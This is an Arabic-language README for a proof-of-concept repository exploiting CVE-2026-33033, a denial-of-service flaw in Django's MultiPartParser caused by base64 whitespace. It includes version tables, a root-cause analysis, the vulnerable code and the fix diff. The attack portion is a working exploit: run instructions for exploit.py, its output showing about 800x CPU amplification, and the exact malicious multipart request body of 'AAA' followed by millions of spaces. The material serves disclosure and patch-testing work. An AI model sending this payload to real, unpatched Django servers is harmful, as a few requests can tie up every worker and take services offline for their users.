
إثبات مفهوم لاستغلال CVE-2026-33033، وهي ثغرة حرمان من الخدمة في MultiPartParser الخاص بـ Django عبر تضخيم وحدة المعالجة المركزية بمسافات base64، مما يُظهر تضخيمًا بنحو 800 ضعف مع طلب HTTP واحد.
حرمان من الخدمة عبر تضخيم وحدة المعالجة المركزية بمسافات base64 في MultiPartParser الخاص بـ Django
يمكن لطلب HTTP واحد بحجم 2.5 ميجابايت أن يربك عامل Django لمدة ~5 ثوانٍ، محققًا تضخيمًا لوحدة المعالجة المركزية بنسبة ~2,100x مقارنة بطلب عادي بنفس الحجم. لا يتطلب أي مصادقة.
تم إصلاح هذه الثغرة الأمنية في إصدار الأمان Django 6.0.4 (7 أبريل 2026)، بالإضافة إلى إصلاحات خلفية لجميع الفروع المدعومة.
| الفرع | المتأثر | المُصلَح |
|---|
| Django 6.0.x | <= 6.0.3 | 6.0.4 |
| Django 5.2.x | <= 5.2.11 | 5.2.12 |
| Django 5.1.x | <= 5.1.x | 5.1.16 |
| Django 5.0.x | <= 5.0.14 | 5.0.15 |
| Django 4.2.x | <= 4.2.28 | 4.2.29 |
CVE-2026-33033: ثغرة محتملة للحرمان من الخدمة في
MultiPartParserعبر رفع ملفات مشفرة بـ base64 (الخطورة: متوسطة)عند استخدام
django.http.multipartparser.MultiPartParser، قد تؤدي عمليات الرفع متعددة الأجزاء معContent-Transfer-Encoding: base64التي تتضمن مسافات زائدة إلى نسخ متكرر للذاكرة، مما قد يؤدي إلى تدهور الأداء.
| CVE | الخطورة | الوصف |
|---|---|---|
| CVE-2026-3902 | منخفضة | انتحال ترويسة ASGI عبر الخلط بين الشرطة السفلية والواصلة |
| CVE-2026-4277 | منخفضة | إساءة استخدام الامتيازات في GenericInlineModelAdmin |
| CVE-2026-4292 | منخفضة | إساءة استخدام الامتيازات في ModelAdmin.list_editable |
| CVE-2026-33034 | منخفضة | تجاوز حد تحميل ذاكرة ASGI عبر غياب Content-Length |
يحتوي MultiPartParser الخاص بـ Django على مسار كود خاص للتعامل مع أجزاء الملفات ذات Content-Transfer-Encoding: base64. بعد إزالة المسافات من كل جزء، إذا لم تكن النتيجة مضاعفًا لـ 4 بايتات، تستدعي حلقة while الدالة field_stream.read(1) لجلب بايتات إضافية واحدًا تلو الآخر.
عندما يكون جسم الملف تقريبًا كله مسافات، فإن كل بايت يتم جلبه يُزال إلى لا شيء، لذا تستمر الحلقة — باستدعاء read(1) مرة واحدة لكل بايت مسافة. الرؤية الحاسمة هي أن كل استدعاء read(1) أغلى بكثير مما يبدو:
الطبقة 1: حلقة محاذاة base64 تستدعي read(1) لكل بايت مسافة
|
الطبقة 2: LazyStream.read(1) يجلب الباقي كاملاً (~64 كيلوبايت)، يقطع 1 بايت،
ويعيد ~64 كيلوبايت - 1 --> نسخة بايتات O(C) لكل استدعاء
|
الطبقة 3: unget() يقوم بـ self._leftover = bytes + self._leftover
مما ينشئ كائن بايتات جديدًا في كل مرة --> memcpy بحجم ~C بايت
لكل جزء 64 كيلوبايت، يشكل عمل النسخ متسلسلة حسابية:
الإجمالي = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 2.15 مليار عملية بايت
لإدخال 2.5 ميجابايت (~40 جزءًا): ~86 مليار بايت من عمل memcpy من طلب HTTP واحد.
يتضمن Django _update_unget_history() الذي يرفع SuspiciousMultipartForm إذا تم إرجاع نفس عدد البايتات 40+ مرة في 50 عملية. ومع ذلك، في هذا الهجوم تكون أحجام الإرجاع متناقصة بشكل رتيب (65535، 65534، 65533، ...)، لذا كل حجم فريد ولا يتم تفعيل الفحص أبدًا.
يصل وسيط CSRF إلى request.POST قبل تشغيل أي عرض، لذا حتى نقاط النهاية التي تُرجع 403 تتحمل تكلفة التحليل الكاملة.
CVE-2026-33033-PoC/
├── README.md # هذا الملف
├── LICENSE
├── requirements.txt # تبعيات Python
├── exploit.py # سكربت الاستغلال
└── victim/ # خادم Django الضعيف
├── manage.py
├── uwsgi.ini # إعداد نشر uWSGI
└── victim/
├── __init__.py
├── settings.py # إعدادات Django الافتراضية (لا حاجة لإعداد خاص)
├── urls.py # نقاط نهاية /upload و /health
└── wsgi.py
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
الخيار أ: خادم تطوير Django (الأسرع)
cd victim
python manage.py runserver 0.0.0.0:8000
الخيار ب: uWSGI (أكثر واقعية — يستخدم 4 عمال)
cd victim
uwsgi --ini uwsgi.ini
في طرفية منفصلة:
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload
الخيارات:
| العلم | الافتراضي | الوصف |
|---|---|---|
--target | http://127.0.0.1:8000/upload | نقطة نهاية الرفع المستهدفة |
--size | 2621440 (2.5 ميجابايت) | حجم الحمولة بالبايتات |
--rounds | 3 | عدد جولات الهجوم |
============================================================
CVE-2026-33033 PoC
Denial-of-service via base64 whitespace CPU amplification
in Django MultiPartParser
============================================================
Target: http://127.0.0.1:8000/upload
Payload size: 2,621,440 bytes (2.5 MB)
Rounds: 3
[*] Checking server health...
[+] Server is up.
------------------------------------------------------------
[*] Phase 1: Sending BENIGN request (normal base64 data)
------------------------------------------------------------
Status: 200
Time: 5.55 ms
------------------------------------------------------------
[*] Phase 2: Sending MALICIOUS requests (base64 + whitespace)
------------------------------------------------------------
Round 1/3:
Status: 200
Time: 4571.12 ms
...
============================================================
RESULTS
============================================================
Benign request: 5.55 ms
Attack average: 4571.12 ms (over 3 rounds)
Amplification: 823x
[!] VULNERABLE: Average attack time exceeds 1 second.
A single 2.5 MB request ties up a worker for ~4.6s.
With 4 workers, just 4 concurrent requests can DoS the server.
يبني الاستغلال جسم POST بصيغة multipart/form-data مع جزء ملف واحد:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552
------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
AAA<2,621,433 spaces>A
------CVE2026-33033--
AAA الرائدة stripped_chunk = b"AAA" (3 بايتات)، لذا remaining = 3 % 4 = 3.field_stream.read(1) لجلب بايت واحد إضافي للمحاذاة.b"".join(b" ".split()) == b"")، مما يُبقي remaining = 3.LazyStream.read(1) ينسخ داخليًا ~64 كيلوبايت عبر آلية الإرجاع.django/http/multipartparser.py، الأسطر 302-325 (Django 5.0.x):
for chunk in field_stream:
if transfer_encoding == "base64":
stripped_chunk = b"".join(chunk.split())
remaining = len(stripped_chunk) % 4
while remaining != 0:
over_chunk = field_stream.read(4 - remaining) # <-- read(1)
if not over_chunk:
break
stripped_chunk += b"".join(over_chunk.split()) # strips to empty
remaining = len(stripped_chunk) % 4 # stays at 3
يستبدل الإصلاح (المطبق في Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29) حلقة read(1) لكل بايت بقراءة مجمعة read(self._chunk_size):
- stripped_chunk = b"".join(chunk.split())
+ stripped_parts = [b"".join(chunk.split())]
+ stripped_length = len(stripped_parts[0])
- remaining = len(stripped_chunk) % 4
- while remaining != 0:
- over_chunk = field_stream.read(4 - remaining)
+ while stripped_length % 4 != 0:
+ over_chunk = field_stream.read(self._chunk_size)
if not over_chunk:
break
- stripped_chunk += b"".join(over_chunk.split())
- remaining = len(stripped_chunk) % 4
+ over_stripped = b"".join(over_chunk.split())
+ stripped_parts.append(over_stripped)
+ stripped_length += len(over_stripped)
+
+ stripped_chunk = b"".join(stripped_parts)
التغييرات الرئيسية:
read(4 - remaining) → read(self._chunk_size) — يقرأ 64 كيلوبايت في المرة الواحدة بدلاً من 1-3 بايتات، مما يقلل استدعاءات القراءة من ~2.5 مليون إلى ~40.stripped_chunk += ... → stripped_parts.append(...) + b"".join() نهائي — يتجنب احتمالية تسلسل البايتات التربيعي.len(stripped_chunk) % 4 → عداد stripped_length — يتجنب إعادة حساب الطول المكررة.يُقدَّم هذا الإثبات المفاهيمي لأغراض تعليمية واختبارات أمنية مصرح بها فقط. استخدمه بمسؤولية وفقط ضد الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.
رخصة Apache 2.0 — انظر LICENSE.